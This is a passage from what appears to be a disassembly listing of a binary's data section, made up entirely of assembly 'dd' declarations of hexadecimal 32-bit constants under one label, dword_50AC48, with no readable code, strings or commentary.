7A279F80h, 8B00F6C0h dd 188A0DD5h, 48FC4B57h, 0BE054C46h, 37276CD8h, 0F99A38EAh dd 0CF510A90h, 0EF5200DEh, 42515BF8h, 955FA8B0h, 0ECC7E88h dd 0D50490F3h, 7EECC101h, 7022D91Eh, 0FE3A8BC9h, 95B8095Ah dd 903816D4h, 1624099Fh, 3809F28Bh, 4F70DDDBh, 777CF22Ch dd 0F59724D4h, 0C2826C39h, 0D0D6D1A2h, 3D37A5h, 0F74F4913h dd 4E01307Ah, 858B8E24h, 123220ADh, 0ED83954Ah, 0BD4B8B7h dd 772EE9B2h, 0DA2DE2E2h, 0B06927B4h, 0B72E584Ah, 56C0A713h dd 0CD29AB13h, 3997C55Ah, 8116DEFEh, 0DB60B255h, 892AD564h dd 43881108h, 195EB0D8h, 2766EA4Eh, 425B0330h, 9B4E9BE2h dd 42B9813Ch, 0CC1010E8h, 0E003F14h, 1F4D19E2h, 46E939Dh dd 10685611h, 39EBC1F0h, 9958020Eh, 0F1772281h, 6CEED6E0h dd 3AAF9309h, 0CD6209A1h, 4D3AC0F4h, 7C045442h, 29A4EFCEh dd 744DCABCh, 84F08BC4h, 8BF3EC37h, 5A07EBBDh, 23A95418h dd 15D5C73Fh, 7B4DC654h, 885B7F2Ah, 224D9AC0h, 0F3007AE0h dd 23D3B2E6h, 0D13181B5h, 0F1504597h, 2B26160Ah, 33ADF585h dd 1CC1C43Ch, 0A1AEF665h, 6AF88FB1h, 159B1765h, 455304A3h dd 85C70416h, 0DB4BF0A7h, 0DF5D8062h, 9361D093h, 11278F6h dd 9BC7D410h, 7EBD601h, 0C2E99D61h, 80C03D57h, 0C61FB0AFh dd 82F0496Bh, 101E605Ch, 2B0403A5h, 92E159Dh, 716D5361h dd 0B7C2F0A6h, 1ACB7000h, 5160C18Bh, 79B52529h, 8CCDFB6Bh dd 0ED02E7D0h, 0B5D503EAh, 0BD0B403Bh, 7F598117h, 80E94932h dd 0DC20EE19h, 0F7111771h, 2B67B11Ch, 2502226Eh, 4B190822h dd 0D9F0F1FFh, 0AE2A0D38h, 3810946Ah, 6E7BB904h, 7F470079h dd 9E744FB0h, 8CA82D01h, 0B7576762h, 0B15B018Ah, 0A76213BFh dd 0E0C5E4FCh, 0DC38098Dh, 315E9669h, 0D09E7540h, 0A06E3920h dd 475C0074h, 5F7D87E5h, 824DE859h, 736E5AFCh, 10FF312h dd 0A508BE9Dh, 0E710611Ah, 0C1D0F8C4h, 5273EECEh, 65CF4A51h dd 9801E8h, 39F45F46h, 7B08446Ch, 67B6DD78h, 0B8A32B24h dd 0E0510978h, 186C006Dh, 2B053599h, 75B269BDh, 5D8D3112h dd 0B509E5C0h, 1267B201h, 0F407FCE8h, 28414989h, 84B98E96h dd 0D86F29h, 0A05237EDh, 32BD09A2h, 0C56F0A55h, 8DE94029h dd 99008221h, 0E8A65DC6h, 0EF07B427h, 8DFD4014h, 110F6D3h dd 0DC97195h, 0ECED01C2h, 6103D6C0h, 4FF105B0h, 8160C92Fh dd 68D45A16h, 0A3548082h dd 0EFB7D9h, 7864D857h, 6140FD04h, 74AE813h, 7BDC1F70h dd 0CAF63F71h, 0DDA2D832h, 8B141D54h, 2DE8C6C4h, 22B7B533h dd 5C0CB40Ch, 0B5F7A855h, 5544DAE6h, 0DF707A7Bh, 595049F1h dd 0DE317113h, 6A879C51h, 9E74AF76h, 0B5F560ABh, 0D1822029h dd 0A6E88F39h, 8002DE36h, 4E8E15ECh, 93CD275Ah, 7E493262h dd 0AAB50030h, 657469E8h, 0A22017D3h, 0C993296Eh, 5573C26Dh dd 0D6357Ch, 0B686683Ch, 7F47D9Ah, 0F4712437h, 43E90F16h dd 0A2304232h, 30A93114h, 909DCEB5h, 0EC728Eh, 8765EE01h dd 8D3591FDh, 49CA1B64h, 0B51236FDh, 0F2D32195h, 55C54805h dd 0ED2E16F7h, 725B7A7Bh, 4B076100h, 1E0D4CCh, 1465329Dh dd 22BB973h, 8203C184h, 520D4139h, 0D8F8610Ah, 0A3A2E8F6h dd 4358442Fh, 139D763Ah, 307F2E21h, 631758D1h, 13445500h dd 8247F391h, 0B3AC2A7Dh, 0B6717096h, 7F95F458h, 0F2CE9EA0h dd 0F5908713h, 6B2C2D22h, 9673D538h, 0FDCC4971h, 91C75845h dd 99B0CB32h, 4DB60CD0h, 84B34ADCh, 6E501C1Eh, 4A4DAD17h dd 6F1F0FC0h, 569633BEh, 12C4399Ch, 183205FCh, 5320B665h dd 4A999D29h, 0C404D42Ah, 0E6369516h, 7B15E0C3h, 84B607A8h dd 109813DDh, 69D981E7h, 143D9E12h, 8969A6A8h, 0E3C7EF0Fh dd 0F183957h, 2D008A90h, 993A3745h, 96AED67h, 0B4AC1034h dd 36C27478h, 568408E6h, 78142BA2h, 1B3B8BECh, 536600DDh dd 860F8FD0h, 606EE118h, 0EDDF97E5h, 0E5CE5200h, 51A59968h dd 625D00E4h, 0C37C37F7h, 9B90594Dh, 84789AB7h, 531F2939h dd 94AF17C3h, 77A83Eh, 0ED7ABE60h, 976147EAh, 69533B8Bh dd 0D4570h, 0B9514DFAh, 67D697DAh, 10075F5Ch, 814A19FDh dd 0A6118D5Ah, 6A60A639h, 0E998E26h, 5C92AA93h, 0F2B8E1A0h dd 66A0840Fh, 229FBD31h, 5D6050FEh, 82BFDE18h, 58497412h dd 810031A2h, 0EB8EE85Bh, 88976167h, 0EF02D874h, 541AD591h dd 0B2F96B94h, 0D508A3ACh, 0A95B1310h, 2DFFB803h, 9740B852h dd 655B958Dh, 79008D7Bh, 804971C4h, 892C98CDh, 4674881Ah dd 34370117h, 4289EAEFh, 8872CE2Fh, 0F0B3C514h, 27832212h dd 26426DDCh, 97DC84FCh, 6CA05F63h, 0CF69BF0Fh, 0C7326DDEh dd 4FEAC02Eh, 0CE0BA08Eh, 308A0F8Bh, 802865E8h, 9D2E2B60h dd 8084BFF9h, 1084D4E9h, 61E98A12h, 973AF9B8h, 1DC2865Bh dd 1D09E9h, 2EF86C4Dh, 46780610h, 9B88BF5Eh, 905000F7h dd 0ACEB7D3Bh, 6D50F881h, 7FB285A6h, 7C60448Dh, 26EFCA5Dh dd 60645720h, 27491B97h, 59367400h, 95A8252h, 1F2928EFh dd 0DD8015B7h, 81018008h, 7C68C1C7h, 0B9909334h, 47DB9E85h dd 9DBE380h, 8988519Dh, 8D7795BDh, 9B2F7A26h, 0D6C82CFh dd 880061BBh, 0D0801D40h, 852938AFh, 0D377D6CBh, 30184BDh dd 0F9B52904h, 0A9DE6255h, 0B3545708h, 88135E63h, 30A676h dd 0C9DCEDAh, 0CC2F8C8Dh, 0FF5C7803h, 2E99E4Ch, 0D50FBFBEh dd 0A84F0B7Bh, 0EFC032C7h, 503ED8C5h, 0DC54C652h, 3420909Ch dd 6EBA6CF9h, 63F40061h, 0F6ED3B20h, 1F740D5Eh, 69AFF5BAh dd 0CC6B8DCh, 0F28B793Ch, 0EC9A7DA4h, 91E0E48Dh, 9D56D782h dd 89FC262h, 0D891411h, 2B60E574h, 83329D8Dh, 14F5EB4Ch dd 9CFB147Dh, 0C4FE0DB7h, 52012CE9h, 6CE5B509h, 2C593F57h dd 0DEE71Ah, 79D8721Ah, 0EACB4E61h, 0C109714Ch, 0E3C52FFBh dd 357EAEE8h, 0E2A38868h, 0CCF00A6h, 1DF14EA7h, 4FCC07B4h dd 3084CBD0h, 0BEE928D6h, 11DC1F95h, 0F7428316h, 0FF3C5C17h dd 10B91A4Fh, 3F023755h, 62766701h, 711C3EA2h, 4E48A63Dh dd 11102DEh, 8B0F3B59h, 28BDBDD9h, 89095324h, 722F9DB5h dd 1F8D25F2h, 0E82C113Dh, 9619A2CFh, 41FE60Fh, 4AD1F1BAh dd 10F5FD3Dh, 8A131511h, 8092DBC5h, 6ED6AE59h, 816601BEh dd 8B9F62C1h, 0C36E2BC0h, 0E2099705h, 635A403Ah, 8733868Fh dd 2D7AAB5Bh, 1D9ABA4Ah, 9F5E3888h, 8EC0B14Dh, 0E4C0C86h dd 830F6E15h, 0C5C1FDBh, 0D0ADC975h, 7820B300h, 93024614h dd 0AEFD4A9h, 798D8BD3h, 0D4A4DEh, 45D984B5h, 574BF66h dd 0C529030h, 955B6777h, 616008E0h, 0F4575680h, 0AE0955Fh dd 5D1A0BBBh, 739E776Bh, 0AB777024h, 3D867100h, 7EBA2C6Fh dd 0CB8102DCh, 5F6B04F2h, 960037D1h, 4FD11C72h, 6EB2698Fh dd 0C70847Bh, 36841C11h, 34D50B29h, 0F8DC2B98h, 461A3E00h dd 0AF032449h, 0A3CD0AEAh, 29BB5E0h, 64836F7h, 8270697Bh dd 0A18D1709h, 0C0CAC006h, 0D93F8B05h, 9FCCDE90h, 7B21715Dh dd 0B8063B3Dh, 0D23AF600h, 0D666ADD3h, 8138D1EEh, 5B90A75Bh dd 0FA570A9h, 0ABFA7B0Eh, 542469AAh, 23782E33h, 0BA17D8ABh dd 1F16B702h, 51A18A2Ch, 87AA455h, 810002C5h, 0B293F7C3h dd 606ACB0Eh, 0AD472618h, 46817200h, 65D11226h, 61CA2F8Ah dd 0EA12266h, 78AFF0EBh, 89BD8D71h, 0E0DFED1Eh, 5D7291D0h dd 8BCE9002h, 6926099Dh, 0AC79D1C5h, 0CC0018B8h, 678A4273h dd 53E6BC84h, 0C513EEF5h, 2D1DB99h, 8D898BA5h, 4A70704Dh dd 41DDBE5Fh, 0E925D43Ah, 6BB864h, 0BB66D387h, 26A9709h dd 0A96C1AB8h, 41510C71h, 9F823E1Ah, 0EC62B0Bh, 1ADCBF05h dd 0CBBC0763h, 0CD67BB02h, 0D5864897h, 85E64D6Dh, 17094D20h dd 0B20E5AE9h, 3701C48Ch, 0A39BAA84h, 0D1C04BC0h, 0B14CB52Bh dd 1D6110D4h, 0CD094D48h, 0B7C67B2Dh, 0E2122C4h, 5812E814h dd 0F51E098Bh, 5357C200h, 0AE92DFB7h, 0EA9D012Dh, 0E1DC5784h dd 0ECABF964h, 0ABE0D622h, 0F4558231h, 0BA76808h, 4AF32F39h dd 3A306093h, 2C8E23h, 4061F34Bh, 0B59FDEC5h, 6AC7FD12h dd 0C600FAF2h, 81F5239Eh, 0B9044567h, 0D4C496ECh, 95A9BF07h dd 3194AC5Ah, 0FF6AE101h, 44456920h, 0CEBEB515h, 0E427FFA0h dd 2217848Eh, 6DF2E906h, 0CB7780B7h, 411E51C2h, 0DBC23B03h dd 0E4F90033h, 8B2D6671h, 0D4E4C9DFh, 0C1283DB1h, 0B6C30731h dd 658410C8h, 2A885F1Eh, 0BCF060h, 0F4C1B826h, 8B2808CBh dd 0FB5BFB27h, 0C2D91EA9h, 71D780C1h, 0FC4FEE78h, 30B3E800h dd 2531C82Bh, 7FDAE5BDh, 0DE6E1A3h, 1910D162h, 0C9D17C0Dh dd 8400B9F6h, 65858B63h, 96B7801Fh, 750CA98h, 7D6A438Fh dd 0CD881A0Eh, 0D03B0C28h, 408A11EEh, 0AC95566h, 52E951A4h dd 36162FBh, 8EECCD5Ch, 8C0C4B2Dh, 375484C9h, 0ADDF211Bh dd 61BA5D4h, 0F99D23FEh, 22894F1Bh, 0C65E60BCh, 0D0EC9340h dd 0C6F06Eh, 0AF94DAB6h, 68F275F5h, 581257FAh, 79E261F9h dd 73B58D04h, 0B99DC4CDh, 0FE4FB8C4h, 726505EBh, 0AE6A79C9h dd 3800E86Fh, 6493F3BDh, 0CEA3C795h, 2EA6E7B9h, 2B42BBD9h dd 87B9011Dh, 33DE3F07h, 0C4362980h, 3E007D74h, 0BFFB1A45h dd 5055BBB9h, 0B3FCCB4Eh, 0FCB878EFh, 9DC32B6h, 7B9C3BC1h dd 60019964h, 107AD723h, 88C0C672h, 4BA80A96h, 28922A6Fh dd 0E6B85295h, 89105548h, 4FBA382Bh, 5BB0D9E7h, 0D001718Dh dd 800D9BBDh, 8C3098E7h, 602E40B3h, 0B8DE8B00h, 142A8950h dd 33AD0C61h, 0D06AD1C2h, 4E98305h, 406BF475h, 931DC00h dd 880D33F4h, 248D3198h, 0D0BD16Bh, 234C3FADh, 234171D6h dd 4A5D95D8h, 80FE9E2Fh, 8F293FA5h, 0EF42486Ch, 0A104534Fh dd 2BF46504h, 976BBEh, 221741ECh, 0C798492h, 5E8CE75h dd 2C0C3A23h, 749D0F57h, 505F88A9h, 18F4C2F0h, 8C10337h dd 64CD958Eh, 2BE65819h dword_50AC48 dd 485814E0h, 5AA2A601h, 3E019C29h, 36498A61h, 286E7Fh dd 394AB55Ah, 985297EAh, 30D120B4h, 0AD207AB0h, 0CD84BF2Ch dd 0ECD5E98Bh, 0B1E53FA1h, 0DE090B00h, 0D59D893Bh, 21E390B5h dd 63B88104h, 0A5BE7BDDh, 0F668D9Ch, 0CFCD7725h, 2D2B69E0h dd 97CC02DCh, 0F823B354h, 1EF9DE82h, 0D4E1FF02h, 5B14DC5Ch dd 10980E8Fh, 0D2C41071h, 0A77AEE04h, 52FAF000h, 0C1A5CA5h dd 75529EE0h, 43012032h, 729A4BBBh, 22401B8Eh, 0ED8D8946h dd 3210B5AAh, 86220F03h, 90C9853h, 601D78C7h, 0D06BDC76h dd 92525842h, 5F3B8130h, 44FE180h, 7080B1DBh, 0FC18E5Eh dd 4C52814Bh, 0FAB57B09h, 61F80AA5h, 0E82C90Ah, 9B1601B7h dd 97A8C736h, 0EDB67300h, 0BFEEB083h, 820F95A2h, 0CF0B04F1h dd 0D55682AEh, 0F400740Ah, 0FF234800h, 0A9859C0Dh, 40B29EC6h dd 921481B0h, 0B3CC1601h, 0BD853374h, 0CC766171h, 0D3E866F0h dd 0A0D8231Eh, 817D531Ch, 5A310F52h, 8D415F58h, 2F5A2404h dd 237745C0h, 8D486ADCh, 31DB030Dh, 0A59D0B44h, 6FAA9125h dd 0D0EE4A72h, 175B0661h, 1A978C4Bh, 1F03FF01h, 0AFF087Bh dd 8EB66085h, 77616F22h, 2CDE4E07h, 0F4E8BB63h, 0F05B793Dh dd 0F606EA0h, 42C28052h, 27B70E21h, 53E69261h, 3C5BB5E0h dd 6E7EBC12h, 13A55D44h, 9DAE0116h, 384A6836h, 67E179ABh dd 0A6F6B080h, 608C10B0h, 29D51075h, 3B7A9F48h, 6E5B47B7h dd 378069Dh, 7156FEA3h, 0CFE9802Dh, 86A2B792h, 3A60930Dh dd 428077DBh, 56F92C91h, 0D19F90B5h, 0A73C0094h, 39951EBEh dd 0C17FBD89h, 0C7598482h, 700BBCAFh, 14DCEBBCh, 0C9F98BA3h dd 0EFBF5C34h, 8601546Fh, 6F8938D0h, 0D91C3078h, 8D0492AAh dd 0E654D50Dh, 89F8E1DEh, 6A69E152h, 7F3D4CB2h, 44601FCh dd 96DFB70Fh, 103DE8h, 30B4E1BDh, 1D115BB8h, 26242739h dd 2051164h, 887F09BFh, 6656E050h, 561D90BBh, 78F2A696h dd 2416F70h, 0FD39B68h, 95537DEFh, 5215227Bh, 61D35E5Dh dd 19D9BDh, 1216685Bh, 8EE059Dh, 8A620ACAh, 53CC40F8h dd 4CCE905Bh, 0E9025C81h, 0E8121966h, 0C13A4B83h, 0BF7BF2D0h dd 6099FD00h, 18E01078h, 0D20D1EADh, 19654A9Ch, 1D8108ADh dd 3A8D5F09h, 60586D95h, 312BBDA0h, 90F8C9A0h, 50179B9Ch dd 268045ACh, 8DD4974Ch, 0D301447Eh, 9B51F274h, 9B2E90A1h dd 75D3809Dh, 9B6357E0h, 12E92022h, 0E261FB33h, 0D0B000Ah dd 0DC408270h, 16E67691h, 3685C725h, 409329F3h, 9E75478h dd 552BB12Fh, 0AE25AED4h, 96ABD4AFh, 362F884Dh, 0C2E9DB3Fh dd 850A68E0h, 4DEEDBB1h, 452321B7h, 50952043h, 11510C30h dd 0C101CC88h, 6710E83Dh, 4C07020Eh, 5A5803E2h, 0EBE71B93h dd 8BC3636h, 2CDC7364h, 2950661Bh, 18812128h, 1139A58h dd 271B1357h, 2758C0AEh, 0C4E29B25h, 0B3210012h, 89B069FEh dd 5400C257h, 0A2A439FCh, 0BA352A0h, 0DD6E473Fh, 8517D194h dd 817B0456h, 5C120772h, 39DE3719h, 68F1CA05h, 35AF21E2h dd 69B25440h, 0E616001Ch, 0E5CFBBBFh, 11986D57h, 2D0F3481h dd 39B04A34h, 7A3FF599h, 53EB0015h, 0A2B48B87h, 0D3BBA010h dd 4E5828h, 0FD735434h, 136B802h, 259CAD61h, 2FC74FF4h dd 0CD2B0AC7h, 2CD5E10Ah, 43EBF878h, 729A6A04h, 75806050h dd 2E8961F1h, 88252434h, 0BE3E25C5h, 29ED6DAh, 0C2758DBFh dd 19D823Fh, 8AE10F1Eh, 3AC68BD4h, 7C179484h, 0AF805D9Bh dd 0B05F22B2h, 2FF96F02h, 72559529h, 612B90E7h, 399D0D2Eh dd 86890003h, 7A6BE1C4h, 13B71640h, 80C268ACh, 1F794FEBh dd 0DD9D3184h, 0C2E24BFBh, 0BDEB6D6h, 0E0366DD2h, 8941F7DCh dd 6E6F2050h, 88FA02C9h, 0E0C2D010h, 1E5DCFCh, 0EF80706Eh dd 44870FD3h, 169EC23Eh, 40F2D62Bh, 0F9A1E375h, 2B435900h dd 94A3210Fh, 0BFB93C36h, 5E575879h, 3DCAA010h, 0B6FEA80Fh dd 9F60B845h, 691B7E1h, 9E1C7B60h, 7ABE0420h, 9D16B8D9h dd 0B86D2923h, 9DEE0109h, 0B6C03AECh, 0D6437C6Ch, 0D2B8A1A9h dd 8EBD5504h, 268233A6h, 1271C424h, 5550F785h, 78BCDF8Ah dd 516CD402h, 921F4E0Dh, 2045F7Fh, 17D9210Ah, 287E7A6Ah dd 0DB4CCB68h, 21B53FA5h, 3F651644h, 1192387h, 0F91A1397h dd 0F7229E6Ch, 7CA20E80h, 9650F88Bh, 8E25B964h, 0DE977F71h dd 4A9C9F11h, 768715DBh, 0E48AD0CEh, 0D42C831Ch, 0BF05C7C9h dd 0A3162BD9h, 1623A46Ah, 0A0B30305h, 14DAF283h, 0C2C48056h dd 602E7D10h, 698D77EAh, 9737AC09h, 22019B35h, 63D26A1Bh dd 2C70202Eh, 0C009E21Fh, 5F27EBCEh, 3527C17Bh, 0D5F900E3h dd 1A83FA23h, 4804909h, 0D1CB0545h, 9285B18Ch, 0C024837h dd 897C4322h, 0FF212D4Ah, 87041591h, 0E8880815h, 0C2638013h dd 0C439DC68h, 6A52B100h, 0DA506123h, 9A3A1F6Eh, 33A88229h dd 1FC8F9BDh, 0C995C65Fh, 356FFE17h, 0D5E3819Bh, 85C70003h dd 0B7819259h, 0CEC0CD6Fh, 0EDE664h, 10DA6AB3h, 0FFF26DE9h dd 92366AE3h, 2E2522F6h, 9D9C158h, 799E56C3h, 4FFAC99h dd 0F0C9B750h, 9D142361h, 82D40FD5h, 7C498D29h, 0D15D4922h dd 8AF986C6h, 190B50FCh, 0F6064847h, 4700DC46h, 23803EBEh dd 261C89B7h, 8B09136h, 64250A6Dh, 0A6D33E39h, 987BA580h dd 3ED2A770h, 380F4C00h, 337C87AEh, 3C566295h, 7672225Dh dd 5C4FE297h, 8CD2552h, 0E3C214C0h, 2FB8C4h, 0BF50A3F5h dd 75737DB9h, 37759DA2h, 381C80D0h, 0CB8FDE35h, 0D3BBA528h dd 70F8DF25h, 2750E67Fh, 0DC129D0Bh, 6014057Ah, 84C5820Fh dd 0E7C05A51h, 0B761CF71h, 189BC0CEh, 121C1158h, 0F7BED63Eh dd 0F071434Ah, 6B355Fh, 7AE6AB16h, 159BBBB9h, 7797C27Ah dd 0D1FFCA10h, 3F191195h, 0F243360h, 5CB8DB5Ah, 3A638600h dd 0FB4B4DBDh, 891F22DAh, 0B1E8AD9Dh, 0CEAA5002h, 300004C6h dd 8AC60CC0h, 0EB73503h, 3F8BB0FBh, 0A6314321h, 93B76209h dd 0B500E06Bh, 5BEF0B0Fh, 9E50F48Eh, 601FCBEAh, 0D9389B6h dd 913BF8BDh, 1022CB4Bh, 17F84723h, 128E048Ch, 0E2566189h dd 8C3D005Ch, 0C5603CFFh, 6AAC09BEh, 1A795BFDh, 704653A5h dd 0CF121BCDh, 5740A0E7h, 630757BBh, 60503B6Ah, 0C1C27080h dd 0E50FBF4Dh, 613E7615h, 0B1007FC9h, 17E081C8h, 0FB36B62Eh dd 9D44732Fh, 1072A8Ah, 5E0DA562h, 8DE8534Ah, 2821CE1h dd 7F1E85FFh, 0CD9F9A16h, 819F453Dh, 2F2FA52Fh, 0ED834027h dd 8D6D0824h, 0B59713C5h, 622ECDF5h, 0F1D24642h, 8B0D930h dd 2E70E6FAh, 112971E4h, 0E3BF0205h, 5E3F2F8Dh, 3B299A41h dd 0C125B450h, 0BD40E897h, 0E6254E35h, 0E38101BFh, 4FFDA7BCh dd 0F20F631h, 0F2B2D0BFh, 61F7C24Ah, 1424395Eh, 0DC57C709h dd 799D8978h, 91BC771h, 53C8E1E1h, 0AFD9202Fh, 0CA129019h dd 0C10108C4h, 2E3BCBE5h, 5B05D53Dh, 0E8D18B5Fh, 20B58E18h dd 6674571Bh, 2B4A1F4Fh, 0E9FA8614h, 0F8A62328h, 0B7844000h dd 5D9C4530h, 0FE6D0E2Ah, 44053263h, 151440DCh, 3D66021Ch dd 680003F2h, 0D32DC097h, 0B0775196h, 7529B7EEh, 910677Ch dd 0DE84864Bh, 91C7D28h, 45E241E1h, 862D2F03h, 2F12E88h dd 1862E90Bh, 97086DE8h, 8012A7CEh, 83F207CFh, 0E8504A22h dd 6CFEB45Dh, 0C2ACD600h, 1AD1A18Bh, 0E6F00BEFh, 1A84D421h dd 82A85003h, 0E4398509h, 36A5516Eh, 1514236Ch, 7A90DA0Ah dd 8595624h, 0C82032B5h dd 0A3E59D5Fh, 0A796612Eh, 0B0F777D7h, 33615AEAh, 3D6233E9h dd 29BF7150h, 813F2141h, 0A0EEFA76h, 3D2FC662h, 79BCD30Ah dd 24B181Ah, 5A09BF67h, 10751DCEh, 2D0CF69Ch, 21A0F35Ch dd 0B646113Eh, 4B655A01h, 0E42B96Ah, 89179E7Fh, 0EA10744Bh dd 7DA709A5h, 6061B478h, 566FC310h, 6C21EE2Bh, 0DBFE615Eh dd 2E16704Dh, 0B607E609h, 3DAD18F9h, 7CB00436h, 0C2A4918Ah dd 57614203h, 3D7DC2B8h, 0BAD3800Ah, 0FDB7A77Bh, 0BEC7C11Ch dd 0D8D22B49h, 8D36978Eh, 2D476B4h, 0D87023ABh, 8475E267h dd 954F2F43h, 0D082508h, 4E9AC88h, 5623399Dh, 342B7DCDh dd 4E63E3DDh, 3DF49188h, 0BA761E8h, 1BC1FB82h, 79B9F907h dd 0BBB0AD6Eh, 2141E195h, 62452B2Eh, 751DC930h, 0EF00123Dh dd 8C5928F6h, 0BFA05DBh, 0C88F0FA8h, 464BB3F1h, 872224CAh dd 0FC948EECh, 0B84E3564h, 0ED1AB917h, 9AAD9DEh, 0A85CC787h dd 3B634178h, 0A6A54B5Fh, 0FC1230E6h, 0FCA6E1FFh, 0D05DBE0h dd 88873A13h, 0A88018ECh, 0A16E23A9h, 0F6961E07h, 9D856091h dd 61CA44BFh, 0A220BC5Fh, 13D32821h, 2EE8E1ADh, 8A290128h dd 0E651DC56h, 9BAB84D3h, 3E2BC056h, 13BF666Bh, 0BD60B6BAh dd 95B5848Ah, 8C1764FDh, 819CDBD9h, 0E35A9CCCh, 0CD73668Bh dd 13A51B80h, 89974E17h, 0C9BBED20h, 53406BF4h, 12BA14BFh dd 0F45B1BEAh, 0FB8A2D19h, 0F9958BABh, 0BF5BAD29h, 96181759h dd 2578BB09h, 0F27190h, 36EC5948h, 52C816A1h, 0BB10800Eh dd 0E6B5CE22h, 69AD5C00h, 0AEF28B45h, 0BEC49579h, 7300CAEAh dd 57A2A5E0h, 1531C5B5h, 0F1905FB0h, 642011BCh, 0C44FEE23h dd 874D6844h, 0C006BDEh, 0B4F678BAh, 8161E300h, 1B22434h dd 203FFF1Fh, 453C527Ah, 0F1CD2000h, 0A03EDEC2h, 0F5C7021Eh dd 5F69D01Dh, 0FCE9715Ch, 9C07D451h, 55BD8BB1h, 0A56D7309h dd 7214E061h, 0B82080CEh, 1DE222Bh, 3836B51Eh, 0CC2CC23Fh dd 0C5988DD6h, 5C8A0244h, 0FB1C0CC3h, 0BDCD2D01h, 38574FE0h dd 251277A6h, 8FC60C3Bh, 0C770C5E6h, 0CC881845h, 0B3121A15h dd 0DA9246E2h, 41F68E7Dh, 8908A90Fh, 971F1560h, 16914437h dd 48C6EA81h, 4E6F2F89h, 7A2DB101h, 3CA9FBBEh, 0C9F25E67h dd 53C31A00h, 810909Fh, 0A6C770Fh, 49CB40D2h, 9D67C4F7h dd 0D7D4B832h, 6FAF6E41h, 1F9152DCh, 4225BE1Ch, 977CCBE8h dd 0B1208D5Ch, 2E2BCD20h, 38725750h, 1B0C635h, 9EEB8064h dd 28842F29h, 0F6D352ADh, 7910E7C6h, 1DAD57EAh, 0C168DB82h dd 0B39043EFh, 58072E5Fh, 6FD41486h, 0A3B8A0F9h, 78DA4201h dd 4B4CBA2Ah, 54D9206Fh, 0B10E2DBEh, 49168B59h, 596973B5h dd 4DC1819h, 28BD378Eh, 6304AF66h, 4FF43F1h, 42065DCh dd 0BF825061h, 17B32202h, 79B2BD0h, 0FAE06F78h, 9FD198A4h dd 3926DBC6h, 0F6522389h, 710BD46Bh, 0B009DD4Ah, 994BFBDh dd 613DB916h, 457092D3h, 0DBFE2095h, 95097D20h, 8012AE96h dd 0A8B2FFD3h, 121148Dh, 11A55ACh, 17A724E9h, 429F4166h dd 756F565Fh, 0C0BAEDC9h, 30D21911h, 72D79ECh, 80A5E693h dd 9F1C49B0h, 85225196h, 0C8F84B21h, 0ADEA76B9h, 7314F000h dd 3D758E8Ah, 0C1B2295Ch, 40162C3h, 0E2D75C09h, 0C20B0715h dd 0C00F4F36h, 0E740B3A3h, 33870B12h, 15B26CE6h, 4A35D530h dd 20E7CDF5h, 974BAF72h, 6A2E459Dh, 0F6400BB5h, 80DAD10Bh dd 56D4D781h, 629D5E8Ah, 921875BEh, 930039E5h, 13D9374Ah dd 23F19D4h, 8C0FE0BDh, 4FED9650h, 7E64A6E1h, 0D139436Ch dd 0C4DF8B94h, 291D00ABh, 0FB41683Dh, 202B90EAh, 91A0DC5h dd 560DF1BDh, 820B659Fh, 0B8082813h, 0E01ACD6Bh, 0E4DAA6F0h dd 0EAD92C02h, 5C27F937h, 0CF80619Bh, 98352EC2h, 8A135EE3h dd 80178CF9h, 0C1A4DF25h, 92F60F77h, 70E66C9h, 58598C97h dd 0E38130D7h, 0B54A294Dh, 0C44A8AB9h, 0D9E9096Dh, 5A004AE4h dd 72869CF8h, 0BB1EACh, 84172320h, 1BD5E16Ch, 8B3A1897h dd 391A97D8h, 48DC7876h, 471A5F79h, 60DB402Bh, 2E5D570h dd 0BDA13F6Dh, 1F60A6E2h, 0E09129E1h, 5175DBC9h, 0D9053A76h dd 0B6E335E5h, 8B509607h, 0F5BF40D9h, 7952FBD1h, 64562537h dd 0F401002Eh, 17C6A38Bh, 0F125F51h, 32E7DEBFh, 87AC9C49h dd 0CE04B37Eh, 0B86EC867h, 20531CEEh, 453C9495h, 698AD957h dd 0BFCC98DFh, 8E581DD4h, 29EDED27h, 3BC80AC0h, 852917F5h dd 8063AC54h, 21CA87DCh, 69330010h, 1F3BBA93h, 0BE0418FBh dd 3AAA6B09h, 0C1DF64EBh, 4A2EB98Ah, 0DE8A12E1h, 3A560BE3h dd 8B601EF0h, 49D8D2Fh, 83BDF97Ch, 14448897h, 0C448B600h dd 1931CC96h, 8DFC4BB2h, 0C0D4780Dh, 1E502580h, 0AC320077h dd 0E35760DEh, 4912584Bh, 0F8B2A7D6h, 0BD759A89h, 731780D8h dd 8651973Fh, 89E31D17h, 71683509h, 750A219h, 0D5DB7DEBh dd 0D427A05Dh, 2F03CA9Dh, 0E1800C9Ah, 0F5C6FA21h, 391C93BDh dd 5A0842D7h, 40F7AE17h, 0BA0268A8h, 44EAF400h, 64DA267Eh dd 59320272h, 17FA4F96h, 7B00DB79h, 0C428DB2Ah, 4E110076h dd 0E2CD433Bh, 640E0AD6h, 69FAE0A2h, 0D94F73A6h, 1231815h dd 0E9C1B7BEh, 7CFFF362h, 1C0D109Ch, 4F51FB76h, 23DC7164h dd 0B589032Eh, 0ACE0A447h, 3D0B798h, 0A2D7BB04h, 8AAF33E1h dd 5CD3A035h, 33520988h, 6ED8859Dh, 6ED67FA2h, 0B784DA12h dd 0F6A5CFC1h, 0B32B5AF9h, 9D3109F8h, 0BD5F7A3Dh, 0E8E47B7h dd 0F2A241FFh, 0AF2F757Fh, 4B6A2C09h, 99E60049h, 51064856h dd 6005C781h, 5B26805Ch, 12837BFAh, 56A81812h, 0F9F6CE80h dd 4802EA90h, 0E37C9C8h, 81E0C051h, 0C45F8125h, 3A916050h dd 72DB80BDh, 0C2B983AFh, 0A82A00D6h, 876A9EEFh, 230903F8h dd 52D98AC8h, 0A2ED97EFh, 0EF2E47CEh, 4963BBF0h, 2F80E42Fh dd 48DB1ED7h, 0CAD4F6D0h, 93F979DAh, 0BCE0BD6Ah, 5F079856h dd 2200B617h, 0FD5C000Bh, 6682A628h, 871AC1BDh, 0F57A43D9h dd 0A45950A9h, 0C2791FABh, 13EC36F0h, 0C2147985h, 0FF022AE3h dd 518A5CD1h, 26A114Ch, 1DF0D566h, 0BD12F5BBh, 9CE917C9h dd 0F86D355Eh, 0A5F04ADDh, 0B4FE4BFh, 585A044Ch, 85936FDEh dd 0F53636E5h, 0E912D74Dh, 8480E354h, 51256A3h, 0AE2E2D0Ah dd 0B60B627Ah, 8A613774h, 78742EFFh, 82A8DAE9h, 967BEB02h dd 5FC0CD89h, 0F56024E2h, 3A3E1EB6h, 